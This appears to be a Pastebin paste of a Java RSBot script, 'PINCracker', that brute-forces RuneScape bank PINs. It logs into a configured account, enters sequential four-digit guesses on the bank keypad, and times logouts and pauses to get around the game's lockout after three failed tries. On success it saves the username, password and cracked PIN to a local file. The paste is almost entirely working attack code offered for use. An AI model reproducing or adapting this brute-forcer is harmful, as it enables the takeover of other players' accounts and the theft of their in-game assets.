Advertisement
Guest User

Untitled

a guest
Sep 26th, 2017
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.56 KB | None | 0 0
  1.  
  2. import java.util.logging.Level;
  3. import org.rsbot.script.Script;
  4. import org.rsbot.script.ScriptManifest;
  5. import org.rsbot.script.wrappers.RSComponent;
  6. import org.rsbot.event.listeners.PaintListener;
  7. import java.awt.*;
  8. import java.io.*;
  9. import org.rsbot.Configuration;
  10.  
  11. @ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
  12. public class PINCracker extends Script implements PaintListener {
  13.  
  14. private String username = "username"; // Change username to your RuneScape username
  15. private String password = "password"; // Change password to your RuneScape password
  16. private String pin = "1980"; // Change 0000 to the PIN you want to start cracking from
  17.  
  18. private int state;
  19. private int tried = 0;
  20. private long banktimeout = 10;
  21.  
  22. //Paint variables
  23. public long startTime = 0;
  24. public long millis = 0;
  25. public long hours = 0;
  26. public long minutes = 0;
  27. public long seconds = 0;
  28. public long last = 0;
  29. public int totalTried = 0;
  30. public int pinsPerHour = 0;
  31. public String currentPin = pin;
  32. public long attemptTime = 0;
  33.  
  34. public boolean activateCondition() {
  35. return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  36. }
  37.  
  38. public long bankTimeout() {
  39. return banktimeout;
  40. }
  41.  
  42. public void enterCode(final String aPin) {
  43. if (!interfaces.get(13).isValid())
  44. return;
  45. final RSComponent[] children = interfaces.get(13).getComponents();
  46. state = 0;
  47. for (int i = 1; i < 5; i++) {
  48. if (children[i].containsText("?")) {
  49. state++;
  50. }
  51. }
  52. state = 4 - state;
  53. if (!interfaces.get(759).isValid())
  54. return;
  55. final RSComponent[] bankPin = interfaces.get(759).getComponents();
  56. if (state >= 3)
  57. sleep(300, 600);
  58. for (int i = 0; i < bankPin.length; i++) {
  59. if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  60. final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
  61. int stateBefore = 0;
  62. int stateAfter = 0;
  63. for (int j=1; j<5; j++) {
  64. if (childrenBefore[j].containsText("?"))
  65. stateBefore++;
  66. }
  67. bankPin[i].doClick();
  68. sleep(500);
  69. while (stateBefore == stateAfter) {
  70. final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
  71. for (int k=1; k<5; k++) {
  72. if (childrenAfter[k].containsText("?"))
  73. stateAfter++;
  74. }
  75. sleep(500);
  76. }
  77. break;
  78. }
  79. }
  80. if (state == 3) {
  81. tried++;
  82. totalTried++;
  83. if (tried == 2)
  84. sleep(11000);
  85. else if(tried >= 3) {
  86. sleep(2000);
  87. if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("ha s been cancelled")))
  88. pinIsCracked();
  89. else {
  90. sleep(14000);
  91. tried = 0;
  92. while(game.isLoggedIn())
  93. game.logout(true);
  94. }
  95. }
  96. int temp = Integer.parseInt(pin);
  97. temp++;
  98. if (temp >= 0 && temp <= 9)
  99. pin = String.format("000%d", temp);
  100. else if(temp >= 10 && temp <= 99)
  101. pin = String.format("00%d", temp);
  102. else if(temp >= 100 && temp <= 999)
  103. pin = String.format("0%d", temp);
  104. else if(temp >= 1000 && temp <= 9999)
  105. pin = "" + temp;
  106. currentPin = pin;
  107. }
  108. }
  109.  
  110. public void login() {
  111. if(interfaces.get(906).isValid()) {
  112. if (interfaces.get(906).containsText("account has not logged out"))
  113. mouse.click(382, 322, true);
  114. else {
  115. interfaces.get(906).getComponent(171).doClick();
  116. while(interfaces.get(906).containsText("Entering game"))
  117. sleep(500);
  118. }
  119. }
  120. else if (interfaces.get(596).isValid()) {
  121. interfaces.get(596).getComponent(65).doClick();
  122. sleep(1000);
  123. keyboard.sendText(username, false);
  124. interfaces.get(596).getComponent(71).doClick();
  125. sleep(1000);
  126. keyboard.sendText(password, false);
  127. interfaces.get(596).getComponent(51).doClick();
  128. while(game.isLoginScreen())
  129. sleep(500);
  130. }
  131. }
  132.  
  133. public void pinIsCracked() {
  134. log("PIN SUCCESSFULLY CRACKED!");
  135. log.log(Level.WARNING, "PIN: {0}", pin);
  136. try {
  137. BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"P INCracker.txt")));
  138. out.write("Username: " + username);
  139. out.newLine();
  140. out.write("Password: " + password);
  141. out.newLine();
  142. out.write("PIN: " + pin);
  143. out.newLine();
  144. log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
  145. out.close();
  146. }
  147. catch (IOException e) {
  148. log.warning(e.getMessage());
  149. }
  150. while(game.isLoggedIn())
  151. game.logout(false);
  152. stopScript();
  153. }
  154.  
  155. @Override
  156. public boolean onStart() {
  157. startTime = System.currentTimeMillis();
  158. mouse.setSpeed(1);
  159. return true;
  160. }
  161.  
  162. @Override
  163. public int loop() {
  164. if (game.isLoggedIn()) {
  165. if (interfaces.get(13).isValid()) {
  166. enterCode(pin);
  167. sleep(500,1000);
  168. }
  169. else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("ha s been cancelled")))
  170. pinIsCracked();
  171. else
  172. bank.open();
  173. }
  174. else {
  175. login();
  176. }
  177. return random(200,500);
  178. }
  179.  
  180. public void onRepaint(Graphics g1) {
  181. Graphics2D g = (Graphics2D)g1;
  182.  
  183. millis = System.currentTimeMillis() - startTime;
  184. hours = millis / (1000 * 60 * 60);
  185. millis -= hours * (1000 * 60 * 60);
  186. minutes = millis / (1000 * 60);
  187. millis -= minutes * (1000 * 60);
  188. seconds = millis / 1000;
  189. String hoursString = "" + hours;
  190. String minutesString = "" + minutes;
  191. String secondsString = "" + seconds;
  192. if (hours < 10)
  193. hoursString = "0" + hours;
  194. if (minutes < 10)
  195. minutesString = "0" + minutes;
  196. if (seconds < 10)
  197. secondsString = "0" + seconds;
  198.  
  199. g.setColor(new Color(0, 0, 255, 200));
  200. g.fillRect(5, 5, 190, 65);
  201. g.setFont(new Font("Arial", Font.BOLD, 15));
  202. g.setColor(Color.WHITE);
  203. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  204. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  205. g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
  206. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  207. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement